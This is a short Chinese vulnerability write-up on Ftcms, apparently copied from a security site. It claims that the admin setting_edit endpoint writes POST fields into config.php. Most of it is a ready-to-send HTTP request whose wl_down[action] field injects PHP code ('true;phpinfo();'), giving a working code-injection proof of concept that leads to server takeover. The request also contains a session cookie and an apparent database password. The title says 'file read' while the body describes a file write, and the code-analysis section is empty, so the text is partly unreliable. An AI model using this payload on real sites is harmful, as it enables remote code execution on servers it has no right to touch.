# ftcms前台任意文件读取漏洞

## 漏洞描述：

Ftcms setting.php页面存在文件写入漏洞，导致攻击者可以通过该漏洞写入木马，导致获取服务器权限。

## 漏洞影响：

Ftcms

## 漏洞代码分析：



post请求获取参数，然后将&data内容写入根目录下的config.php

## 漏洞复现：

POC：

POST /admin/index.php/setting/setting\_edit HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cache-Control: max-age=0

Connection: keep-alive

Content-Length: 1872

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBRtPVxXjT058OnVv

Cookie: username=admin; pwd=admin; PHPSESSID=ma3udf28af6os8g2g8oou7og37; ci\_session=a%3A6%3A%7Bs%3A10%3A%22session\_id%22%3Bs%3A32%3A%2227a55437b5348c14582dffdcc5dce4db%22%3Bs%3A10%3A%22ip\_address%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A10%3A%22user\_agent%22%3Bs%3A115%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F101.0.4951.54+Safari%2F537.36%22%3Bs%3A13%3A%22last\_activity%22%3Bi%3A1653532463%3Bs%3A9%3A%22user\_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22user%22%3Ba%3A11%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A4%3A%22name%22%3Bs%3A5%3A%22admin%22%3Bs%3A7%3A%22userpwd%22%3Bs%3A32%3A%2221232f297a57a5a743894a0e4a801fc3%22%3Bs%3A5%3A%22email%22%3Bs%3A15%3A%22admin%40localhost%22%3Bs%3A7%3A%22regtime%22%3Bs%3A1%3A%220%22%3Bs%3A5%3A%22regip%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A9%3A%22logintime%22%3Bs%3A10%3A%221653531217%22%3Bs%3A7%3A%22loginip%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22hits%22%3Bs%3A1%3A%226%22%3Bs%3A9%3A%22listorder%22%3Bs%3A1%3A%220%22%3Bs%3A4%3A%22type%22%3Bs%3A2%3A%2215%22%3B%7D%7D1ecafdb35793618fa2c2375f7f5fd8d7725e0934

Host: ftcms.io

Origin: http://ftcms.io

Referer: http://ftcms.io/admin/index.php/setting/

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36

------WebKitFormBoundaryBRtPVxXjT058OnVv

Content-Disposition: form-data; name="info[wl\_page][news]"

10

------WebKitFormBoundaryBRtPVxXjT058OnVv

Content-Disposition: form-data; name="info[wl\_db][hostname]"

localhost

------WebKitFormBoundaryBRtPVxXjT058OnVv

Content-Disposition: form-data; name="info[wl\_db][username]"

root

------WebKitFormBoundaryBRtPVxXjT058OnVv

Content-Disposition: form-data; name="info[wl\_db][password]"

a2015210703

------WebKitFormBoundaryBRtPVxXjT058OnVv

Content-Disposition: form-data; name="info[wl\_db][database]"

ftcms

------WebKitFormBoundaryBRtPVxXjT058OnVv

Content-Disposition: form-data; name="info[wl\_water][action]"

false

------WebKitFormBoundaryBRtPVxXjT058OnVv

Content-Disposition: form-data; name="info[wl\_water][min\_image\_w]"

300

------WebKitFormBoundaryBRtPVxXjT058OnVv

Content-Disposition: form-data; name="info[wl\_water][min\_image\_h]"

198

------WebKitFormBoundaryBRtPVxXjT058OnVv

Content-Disposition: form-data; name="info[wl\_down][action]"

true;phpinfo();

------WebKitFormBoundaryBRtPVxXjT058OnVv

Content-Disposition: form-data; name="info[wl\_down][max\_image\_w]"

600

------WebKitFormBoundaryBRtPVxXjT058OnVv

Content-Disposition: form-data; name="info[wl\_ts][db\_debug]"

false

------WebKitFormBoundaryBRtPVxXjT058OnVv

Content-Disposition: form-data; name="info[wl\_ts][db\_debug\_file]"

false

------WebKitFormBoundaryBRtPVxXjT058OnVv

Content-Disposition: form-data; name="info[wl\_ts][error]"

false

------WebKitFormBoundaryBRtPVxXjT058OnVv

Content-Disposition: form-data; name="info[wl\_ts][cache]"

false

------WebKitFormBoundaryBRtPVxXjT058OnVv

Content-Disposition: form-data; name="info[wl\_sdk][code]"

ec7eb10c6141485bfb8dada539365653

------WebKitFormBoundaryBRtPVxXjT058OnVv

Content-Disposition: form-data; name="dosubmit"

Ð¤

------WebKitFormBoundaryBRtPVxXjT058OnVv--

漏洞截图：



